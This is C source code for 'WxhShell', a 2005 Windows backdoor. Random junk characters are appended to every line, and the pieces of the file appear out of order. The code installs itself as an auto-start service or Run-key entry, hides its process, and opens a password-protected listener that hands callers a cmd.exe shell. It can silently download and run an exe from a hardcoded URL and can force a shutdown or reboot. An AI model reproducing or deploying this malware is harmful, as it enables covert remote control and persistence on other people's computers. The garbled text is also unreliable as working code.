  case 'd': { *M-'R*Np  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &fW'_,-  
    if(Boot(SHUTDOWN)) K]&i9`>N   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Ud'j'QMy  
    else { Ce/D[%  
    closesocket(wsh); /V }Z,'+  
    ExitThread(0); FA{'Ki`  
    } meYGIP:n  
    break; }t*:EgfI  
    } +45.fo  
  // 获取shell -_M':  
  case 's': { 73l,PJ  
    CmdShell(wsh); ~t<uX "K  
    closesocket(wsh); Fh4Exl@6  
    ExitThread(0); Z^c\M\`7  
    break; c-**~tb(  
  } >c$3@$  
  // 退出 ~U4Cf >  
  case 'x': { Pa'N)s<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kkIG{Bw  
    CloseIt(wsh); x~ID[  
    break; AquO#A[,#  
    } f\?1oMO\  
  // 离开 bO* hmDt  
  case 'q': { v0(_4U]/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2O}X-/H  
    closesocket(wsh); 0j2mTF(C  
    WSACleanup(); [QIQpBL  
    exit(1); m^ /s}WEqp  
    break; JfRLqA/  
        } 6OR)97  
  } kZ=2# .  
  } RG9iTA'  
OQVo4yl"  
  // 提示信息 XUA%3Xr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ya}}a  
} a@-bw4S D  
  } T^ - -:1  
,<$rSvMfg  
  return; IP^1ca#<  
} 5cb8=W -  
b3ys"Vyn  
// shell模块句柄 Z>~7|vl  
int CmdShell(SOCKET sock) :1;"{=Yx}  
{ 6]mAtA`Y  
STARTUPINFO si; d4)0G-|  
ZeroMemory(&si,sizeof(si)); MkWbPm)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1.5R`vKn]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :jJ0 +Q  
PROCESS_INFORMATION ProcessInfo; ,u9 >c*Ss\  
char cmdline[]="cmd"; })j N 8px  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @ V_i%=go  
  return 0; |d,bo/:  
} n(.L=VuXn  
\ 0Ba?  
// 自身启动模式 [<sN "  
int StartFromService(void) ]TN/n%\  
{ `~D{]'j  
typedef struct -XnOj2  
{ 4?]s%2U6  
  DWORD ExitStatus; wRZS+^hx  
  DWORD PebBaseAddress; 'wWuR@e#&  
  DWORD AffinityMask; hxt;sQAo{  
  DWORD BasePriority; q3`~uTzk  
  ULONG UniqueProcessId; q. j$]?PQ  
  ULONG InheritedFromUniqueProcessId; C=bQ2t=Z  
}   PROCESS_BASIC_INFORMATION; U;M !jj  
Gz4LjMQ &  
PROCNTQSIP NtQueryInformationProcess; 7eW6$$ju,N  
C}ASVywc,1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qjd]BX;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zy|u5J  
f ~bgZ  
  HANDLE             hProcess; 8U n0<+b  
  PROCESS_BASIC_INFORMATION pbi; -C8LM ls  
t#%J=zF{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `~\8fN  
  if(NULL == hInst ) return 0; pktnX-Slt  
d$8K,-M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6R*eJICN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7`e<H8g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |XMWi/p  
,!X:wY}dW  
  if (!NtQueryInformationProcess) return 0; 8"A0@fNz  
+11 oVW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KUC%Da3  
  if(!hProcess) return 0; "'XYW\bI  
Gyrc~m[$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $ab{GxmX'4  
5bd4]1 gj  
  CloseHandle(hProcess); BU7QK_zT:  
Ocz21gl-?`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W@i|=xS?  
if(hProcess==NULL) return 0; 7K+eI!m.s  
GIfs]zVr`  
HMODULE hMod; t gHN\@yj  
char procName[255]; F~~9/#  
unsigned long cbNeeded; @1U6sQ  
qQ1D}c@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @, AB 2D  
,b?G]WQrHs  
  CloseHandle(hProcess); Y![8-L|Q  
$"k1^&&E  
if(strstr(procName,"services")) return 1; // 以服务启动 6/vMK<Fz9  
s.XxYXR\  
  return 0; // 注册表启动 ?}S!8;d  
} 8#9OSupp  
c(Fo-4K  
// 主模块 C;#gy-  
int StartWxhshell(LPSTR lpCmdLine) .'4@Yp{=  
{ P ?96;  
  SOCKET wsl; j 20m Z  
BOOL val=TRUE; \&U"7gSL  
  int port=0; jpOcug`f  
  struct sockaddr_in door; `6LV XDR  
:c`djM^ll  
  if(wscfg.ws_autoins) Install(); l E* .9T  
)}vUYTU1  
port=atoi(lpCmdLine); |uX&T`7?-  
Uo[`AzD3  
if(port<=0) port=wscfg.ws_port; t+jdV  
IxY!.d_s|~  
  WSADATA data; 7t78=wpLc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !\5)!B  
mXM U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nov An+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c:s[vghH^#  
  door.sin_family = AF_INET; 6 \ %#=GG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZW 5FL-I  
  door.sin_port = htons(port); nE :Wl  
=,08D^xY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tc|+:Usy  
closesocket(wsl); %;J$ h^  
return 1; N ]GF>kf:  
} cCIs~*D  
+!G)N~o  
  if(listen(wsl,2) == INVALID_SOCKET) { qSaCl6[Do  
closesocket(wsl); U;gy4rj  
return 1; 5z" X>!?^  
} s5X51#J#~  
  Wxhshell(wsl); q\~D:z$+CO  
  WSACleanup(); qVd s 2  
wB<cW>6  
return 0; ("=24R=a  
I#W J";kqB  
} ESe$6)P  
C4|79UG>s  
// 以NT服务方式启动 /EL3Tt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CZ(fP86e  
{ @^HZTuP2;  
DWORD   status = 0; |]?7r?=J9v  
  DWORD   specificError = 0xfffffff; <,9rXjeRl  
4c.!^EiV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |s!n7%|,7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8=mx5Gwz-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $- GwNG  
  serviceStatus.dwWin32ExitCode     = 0; "h&[6-0'  
  serviceStatus.dwServiceSpecificExitCode = 0; Qaiqx"x3  
  serviceStatus.dwCheckPoint       = 0; BqOMg$<\[  
  serviceStatus.dwWaitHint       = 0; YO;@Tj2)x  
`,FhCT5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \K:?#07Wj4  
  if (hServiceStatusHandle==0) return; ?6:e%YT  
w X.]O!^X~  
status = GetLastError(); ) =|8%IrB  
  if (status!=NO_ERROR) kO,vHg$  
{ nB%[\LtZ?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :n oZ p:a  
    serviceStatus.dwCheckPoint       = 0; ,go$ 6  
    serviceStatus.dwWaitHint       = 0; Vv>hr+e  
    serviceStatus.dwWin32ExitCode     = status; Bo/i =/7%  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?lIh&C8]X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W1O Y}2kj  
    return; EOf*1/Ih  
  } qvRs1yr?q  
tSaD=#v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1( ]{tF  
  serviceStatus.dwCheckPoint       = 0; H(Ad"1~.#  
  serviceStatus.dwWaitHint       = 0; l,j0n0h.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J8DKia|h(  
} smuQ1.b  
byJ[1UK  
// 处理NT服务事件,比如:启动、停止 ,h.hgyt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IVG77+O# }  
{ /ASpAl[J  
switch(fdwControl) A*? Qm  
{  Kuh)3/7  
case SERVICE_CONTROL_STOP: p[D,.0SuC  
  serviceStatus.dwWin32ExitCode = 0; l/bZE.GJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K)9f\1\  
  serviceStatus.dwCheckPoint   = 0; V_T~5%9Fy  
  serviceStatus.dwWaitHint     = 0; qWI8 >my11  
  { BU%gXr4Ra  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gk<6+.c~  
  } 4pFoSs?\  
  return; "%+9p6/  
case SERVICE_CONTROL_PAUSE: \0^Je>-:U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !A"-9OS2  
  break; ^L's45&_  
case SERVICE_CONTROL_CONTINUE: nsi&r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6am<V]Hw0F  
  break; _Ns_$_  
case SERVICE_CONTROL_INTERROGATE: IPlkv{^  
  break; l`*R !\  
}; ImI, q:[67  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bet?]4\_  
} !Bb^M3iA  
h=ko_/<  
// 标准应用程序主函数 rh6m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DgC;1U'  
{ ,a} vx"~  
IL<@UWs6  
// 获取操作系统版本 );ZxKGjc4  
OsIsNt=GetOsVer(); MH_3nN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -2*Pm1\Z  
b$eZ>X  
  // 从命令行安装 &, WQr  
  if(strpbrk(lpCmdLine,"iI")) Install(); b`DPf@p^kc  
-Deqlaf(  
  // 下载执行文件 7bx!A+, t  
if(wscfg.ws_downexe) { $jv/00:&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xX{gm'3UYa  
  WinExec(wscfg.ws_filenam,SW_HIDE); g2GHsVS  
} O\)rp!i  
k>72W/L^  
if(!OsIsNt) { kV+O|9  
// 如果时win9x,隐藏进程并且设置为注册表启动 dO\irv)  
HideProc(); wm_o(Z}  
StartWxhshell(lpCmdLine); ffS]%qa  
} Fs;_z9ej-u  
else /FA0(< -}  
  if(StartFromService()) ER*Et+ >  
  // 以服务方式启动 S%k](\7!  
  StartServiceCtrlDispatcher(DispatchTable); Kv-4VWh  
else ,.&y-?  
  // 普通方式启动 jsnk*>j  
  StartWxhshell(lpCmdLine); ayoqitXD?  
84u %_4/  
return 0; P+[\9Gg  
} K,L  
(uskVK>L  
@If ^5s;z  
Y+UM>  
=========================================== SFx|9$hXm  
UBve a(z-#  
C.oC@P  
u.L{3gkT  
uO;_T/^u  
T_*R^Ukb5  
" $oU40HA)W]  
OMVK\_oXo  
#include <stdio.h> UFY_.N~  
#include <string.h> 7Q3a0`Iq  
#include <windows.h> Fb9!x/$tGV  
#include <winsock2.h> 7!"OF  
#include <winsvc.h> q\a'pp9d  
#include <urlmon.h> _qQB.Dzo:  
/4PV<[ :_  
#pragma comment (lib, "Ws2_32.lib") >@9>bI+Q  
#pragma comment (lib, "urlmon.lib") F~tT5?+  
XhEd9>#  
#define MAX_USER   100 // 最大客户端连接数 ([a[ fi  
#define BUF_SOCK   200 // sock buffer XK t">W  
#define KEY_BUFF   255 // 输入 buffer j=~c( B  
aL%amL6CX  
#define REBOOT     0   // 重启 dwAFJhgh  
#define SHUTDOWN   1   // 关机 P(#by{s  
m?Qr)F_M  
#define DEF_PORT   5000 // 监听端口 ,/>hWAx  
k9pOY]_Y  
#define REG_LEN     16   // 注册表键长度 %d/Pc4gfc  
#define SVC_LEN     80   // NT服务名长度  B1!b@0^  
Z U^dLN- N  
// 从dll定义API =Vm"2g,aA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vx6/Rehj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {2Jn#&Z29  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }+1Y>W7q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {Bb:S"7NX  
{q-<1|xj/J  
// wxhshell配置信息 z]Dbca1a`  
struct WSCFG { lSzLR~=Au  
  int ws_port;         // 监听端口 l].Gz`L  
  char ws_passstr[REG_LEN]; // 口令 QXcSDJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no :"4Pr/}rT  
  char ws_regname[REG_LEN]; // 注册表键名 ~Yw`w 2  
  char ws_svcname[REG_LEN]; // 服务名 ;Xw'WMb*=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (ugB3o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c[~LI<>ic  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gz9w1[t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ikn)XZU^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7z=zJ4C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9svnB@  
5B lptC  
}; nCz_gYcIx  
.%(Q*ioDh  
// default Wxhshell configuration "|6#n34  
struct WSCFG wscfg={DEF_PORT, U?}>A5H  
    "xuhuanlingzhe", Gs% cod  
    1, q@}eYQ=P|e  
    "Wxhshell", !e}LB%zf  
    "Wxhshell", .1[[Y}  
            "WxhShell Service", ;;2Yfn'`9  
    "Wrsky Windows CmdShell Service", RvQl{aL  
    "Please Input Your Password: ", 2$g3ABfV  
  1, i8\&J.  
  "http://www.wrsky.com/wxhshell.exe", KfO$bmwmx  
  "Wxhshell.exe" 8d90B9  
    }; &{Zt(%\ '  
fgmIx  
// 消息定义模块 pa6.Tp>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -xc*R%k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B|~tW21  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {q[l4_  
char *msg_ws_ext="\n\rExit."; `Eijy3>h  
char *msg_ws_end="\n\rQuit."; T w!]N%E  
char *msg_ws_boot="\n\rReboot..."; >0W:snNK  
char *msg_ws_poff="\n\rShutdown..."; o<hT/ P  
char *msg_ws_down="\n\rSave to "; u7oHqo`  
dsx'l0q 'i  
char *msg_ws_err="\n\rErr!"; VZ`L-P$AF  
char *msg_ws_ok="\n\rOK!"; I?l%RdGW  
uK:?6>H  
char ExeFile[MAX_PATH]; 3=reN6Q  
int nUser = 0; b#:Pl`n6u  
HANDLE handles[MAX_USER]; /$ -^k[%  
int OsIsNt; XF`,mV4  
D{]t50a.  
SERVICE_STATUS       serviceStatus; GvL)SVv?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cH&-/|N  
z"b}V01F#  
// 函数声明 t(O{IUYM  
int Install(void); u*I=.  
int Uninstall(void); GWNLET  
int DownloadFile(char *sURL, SOCKET wsh); {xw"t9(fE  
int Boot(int flag); ]}3AP!:  
void HideProc(void); 5Iv3B|u  
int GetOsVer(void); 1ke H1[  
int Wxhshell(SOCKET wsl); 7r`A6 \ !  
void TalkWithClient(void *cs); Z'P>sV  
int CmdShell(SOCKET sock); -'j_JJ  
int StartFromService(void); QEe\1>1"&  
int StartWxhshell(LPSTR lpCmdLine); ]wH,534  
u~| D;e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :u%Jrc (W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kEH(\3,l  
j4ARGkK5B  
// 数据结构和表定义 bbDl?m&bq  
SERVICE_TABLE_ENTRY DispatchTable[] = _vQtV]  
{ 7QXA*.' F  
{wscfg.ws_svcname, NTServiceMain}, rOt`5_2f  
{NULL, NULL} (]JZ1s|  
}; P8hA<{UFS\  
HN/ %(y  
// 自我安装 uSeRn@  
int Install(void) j.? '*?P  
{ *SW.K{{  
  char svExeFile[MAX_PATH]; b51{sL  
  HKEY key; 6}Se$XMl  
  strcpy(svExeFile,ExeFile); V/X4WZs|i  
cs'ylGH  
// 如果是win9x系统,修改注册表设为自启动 (=hXt=hZ  
if(!OsIsNt) { Mw=sW5Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >zYO1.~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NQ7 j{dJ?  
  RegCloseKey(key); \+]U1^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5_bIc=L1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^ :%"Z&  
  RegCloseKey(key); -Wp69DP6q  
  return 0; bPaE;?m  
    } ;.Lf9XJ   
  } p$>e{-u  
} _/@VV5Mq  
else { F\' ^DtB  
mN5`Fct*A>  
// 如果是NT以上系统,安装为系统服务 WD wW`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <78]OZ] Z  
if (schSCManager!=0) X67.%>#3  
{ ]}4{|& e  
  SC_HANDLE schService = CreateService _R&}CP  
  ( !ke_?+ 8sY  
  schSCManager, l>l)m-;O  
  wscfg.ws_svcname, aNZJs<3;'D  
  wscfg.ws_svcdisp,  3kAmRU  
  SERVICE_ALL_ACCESS, yv.Y-c=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m!{}Y]FZn  
  SERVICE_AUTO_START, I)wjTTM5  
  SERVICE_ERROR_NORMAL, c\X0*GX  
  svExeFile, Jr0D:  
  NULL, Oeua<,]Z~  
  NULL, 4WK@ap-~  
  NULL, 4>q^W$  
  NULL, PV_E3,RY  
  NULL q1:Y]Rbe  
  ); %Pr P CT  
  if (schService!=0) s[ {L.9Y  
  { =5NM =K  
  CloseServiceHandle(schService); R|7yhsJq,  
  CloseServiceHandle(schSCManager); ( K5w0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I\NiA>c  
  strcat(svExeFile,wscfg.ws_svcname); Q.5C$I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h'{}eYb+   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PQl a-  
  RegCloseKey(key); .'3&!#3  
  return 0; 6`sOhVD  
    } czMu<@c [  
  } x/nlIoT  
  CloseServiceHandle(schSCManager); E0K'|*  
} mL\j^q,Y  
} OBGA~E;%  
}E=:k&IDPB  
return 1; r 5!ie!5gE  
} UjmBLXz@T  
//c<p  
// 自我卸载 X#l]%IrW!  
int Uninstall(void) 2o0.ttBAqZ  
{ vn n4  
  HKEY key; `v*UY  
~n)!e#p  
if(!OsIsNt) { }-3| v<d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wRgh`Hc\}  
  RegDeleteValue(key,wscfg.ws_regname); t`b>iX%(1t  
  RegCloseKey(key); ->DfT*)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IUX~dO  
  RegDeleteValue(key,wscfg.ws_regname); {}Y QB'}  
  RegCloseKey(key); >>lT-w  
  return 0; hg}Rh  
  } :e-&,K  
} EleK*l  
} >QwZt  
else { pfj%AP:  
d*%-r2K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yZf+*j/a7  
if (schSCManager!=0) (<ybst6+I  
{ ?b',kN,(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); az7<@vSXi  
  if (schService!=0) /0(2PVf y  
  { 65FdA-4  
  if(DeleteService(schService)!=0) { iz'#K?PF_  
  CloseServiceHandle(schService); }D5*   
  CloseServiceHandle(schSCManager); qaBjV6loy  
  return 0; &KfRZ`9H  
  } #J AU5d  
  CloseServiceHandle(schService); (bfHxkR.  
  } D#>+]}5@x  
  CloseServiceHandle(schSCManager); pdnkHR$  
} Xg*IOhF6x  
} \tc`Aj%K  
A1xY8?#?~c  
return 1; )A]E:]2  
} 8Z;wF  
*G"vV>OSV  
// 从指定url下载文件 tAD{{GW9  
int DownloadFile(char *sURL, SOCKET wsh) hJ8|KPgdw  
{ Vq`i.>%5  
  HRESULT hr; "65@8xt==  
char seps[]= "/"; ayfZ>x{s*  
char *token; o'.6gZ gk  
char *file; *&X.  
char myURL[MAX_PATH]; #4h_(Y  
char myFILE[MAX_PATH]; !:Lb^C;/  
1x+Y gL5  
strcpy(myURL,sURL); :0BaEqX  
  token=strtok(myURL,seps); 1Yt;1k'  
  while(token!=NULL) h,Y MR3:X  
  { L]{ 1"`#  
    file=token; A8JEig 3Ix  
  token=strtok(NULL,seps); 7p"" 5hw  
  } s&S8P;K|  
l" y==y  
GetCurrentDirectory(MAX_PATH,myFILE); AL/`Pqlk  
strcat(myFILE, "\\"); 1nh2()QI[  
strcat(myFILE, file); HjTK/x'_'L  
  send(wsh,myFILE,strlen(myFILE),0); /kLX f_  
send(wsh,"...",3,0); y}jX/Ln  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Va"_.8n|+  
  if(hr==S_OK) M 7j0&>NTG  
return 0; x;NCW  
else KK-9[S-  
return 1; Dx/!^L02  
zR)|%[sWwQ  
} =~YmM<L  
3=9yR* *  
// 系统电源模块 aK'`yuN  
int Boot(int flag) ]E90q/s@c  
{ 84[T!cDk  
  HANDLE hToken; T2# W=P  
  TOKEN_PRIVILEGES tkp; %-@`|  
Wt+aW  
  if(OsIsNt) { PezUG{q(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yck(Fl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w5"C<5^  
    tkp.PrivilegeCount = 1; @YyTXg{ZK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X#mm Z;P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z(AI]wk3<  
if(flag==REBOOT) { 11}fPWK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .?b2Bd!MC  
  return 0; .fxI)  
} CQfrAk4mu  
else { ?4=8z8((!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D%cWw0Oq  
  return 0; o uKID_ '  
} HxJKS*H;  
  } qPdNI1 |  
  else { -X(%K6{  
if(flag==REBOOT) { EzY?=<Y(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fclmxTy  
  return 0; x#"|Z&Dw0  
} :u#Ls,OZz  
else { E"iH$NN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SymSAq0$F  
  return 0; j(G}4dib  
} 0 3L"W^gc  
} -!(  
2A@9jl s  
return 1; ~1YL  
} *&B1(&{:V  
tYyva  
// win9x进程隐藏模块 %7BVJJp2  
void HideProc(void) QZk:G+ $  
{ vTYI ez`g  
yv4ki5u`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ky`rf}cI>  
  if ( hKernel != NULL ) +=%13cA*U  
  { [w l:"rm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .['@:}$1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ltpd:c  
    FreeLibrary(hKernel); C,C%1  
  } qOz,iR?}  
F?'=iY<h  
return; BM{GSX  
} ")7,ZN;  
L f[>U  
// 获取操作系统版本 sChMIbq!Av  
int GetOsVer(void) l(9$s4R  
{ cH6ie?KvAo  
  OSVERSIONINFO winfo; f&t]O$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9BB<. p  
  GetVersionEx(&winfo);  hi,!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -i|qk`Y  
  return 1; >%+ "-bY  
  else %[4/UD=7  
  return 0; |E!()j=  
} IXt2R~b  
DR/qe0D  
// 客户端句柄模块 u3kK!2cdP  
int Wxhshell(SOCKET wsl) UC^&& 2maI  
{ Ea1{9> S  
  SOCKET wsh; hu\HK81m  
  struct sockaddr_in client; bJe*J\){  
  DWORD myID; ~c[} %Ir>  
h{.KPK\  
  while(nUser<MAX_USER) 2}]6~i  
{ AY:3o3M  
  int nSize=sizeof(client); +O3zeL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =25q Y"Mf  
  if(wsh==INVALID_SOCKET) return 1; ?RvXO'ml  
VE^NSk Oa&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (,Yb]/O*  
if(handles[nUser]==0) ws tI8">  
  closesocket(wsh); I#@iA!  
else #(h~l> r  
  nUser++; noe1*2*TE  
  } 0"o<( 1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H ~1laV  
>b,o yM  
  return 0; CmRn  
} &'Qz  
}uWJ  
// 关闭 socket lDV8<  
void CloseIt(SOCKET wsh) g^8dDY[%  
{ ]4\^>  
closesocket(wsh); OYC4iI  
nUser--; JU:!lyd  
ExitThread(0); WKX5Dl  
} cO<]%L0  
V4qHaG  
// 客户端请求句柄 b$[_(QUw  
void TalkWithClient(void *cs) !`\W8JT+  
{ Dqe)8 r  
y?<[g;MuT  
  SOCKET wsh=(SOCKET)cs; VgZ<T,SuW  
  char pwd[SVC_LEN]; Gk,{{:M:5  
  char cmd[KEY_BUFF]; PB4E_0}h  
char chr[1]; M$-4.+G  
int i,j; hxx,E>k  
ADA%$NhJ!  
  while (nUser < MAX_USER) { O+`^]D7  
m{!BSl  
if(wscfg.ws_passstr) { )V JAs|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?+GbPG~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +-'qI_xo  
  //ZeroMemory(pwd,KEY_BUFF); E xKH%I  
      i=0; rfYu8-  
  while(i<SVC_LEN) { c }ivYH?`w  
MjE.pb  
  // 设置超时 B P"PUl:  
  fd_set FdRead; ^j';4'  
  struct timeval TimeOut; l7aGo1TcIh  
  FD_ZERO(&FdRead); Xn"n5 =M  
  FD_SET(wsh,&FdRead); wc)[r~On(5  
  TimeOut.tv_sec=8; *x`z5_yfO  
  TimeOut.tv_usec=0; [ar:zl V8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =b32E^z,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <?52Svi}}  
-QIcBzw;q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cZ|D!1%  
  pwd=chr[0]; JwB:NqB  
  if(chr[0]==0xd || chr[0]==0xa) { s6Bt)8A  
  pwd=0;  -6~*:zg,  
  break; ,TOLr%+v~n  
  } E{T\51V]%  
  i++; GWjKZ1p  
    } oHI~-{m3)  
XZcsx  
  // 如果是非法用户,关闭 socket u A C:&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N$pwTyk  
} H24g+<Tv  
POH >!lHu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qS&PMQ"$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U`FybP2R~  
W euV+}\b  
while(1) { `m3@mJ!>\  
90sMS]a  
  ZeroMemory(cmd,KEY_BUFF); 2-llT  
Ms1G&NYP  
      // 自动支持客户端 telnet标准   VT3Zo%Xx  
  j=0; |rdG+ >  
  while(j<KEY_BUFF) { &-<"HW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wuzz Wq  
  cmd[j]=chr[0]; $@x3<}X;  
  if(chr[0]==0xa || chr[0]==0xd) { aZ@4Z=LK  
  cmd[j]=0; s%GiM  
  break; `"AjbCL  
  } }S*6+4  
  j++; edGV[=]F  
    } P(X#w  
PC\Xm,,  
  // 下载文件 IS&`O= 7  
  if(strstr(cmd,"http://")) { 0#K@^a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r{\cm Ds  
  if(DownloadFile(cmd,wsh)) [.6>%G1C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mI9h| n  
  else  cD0  
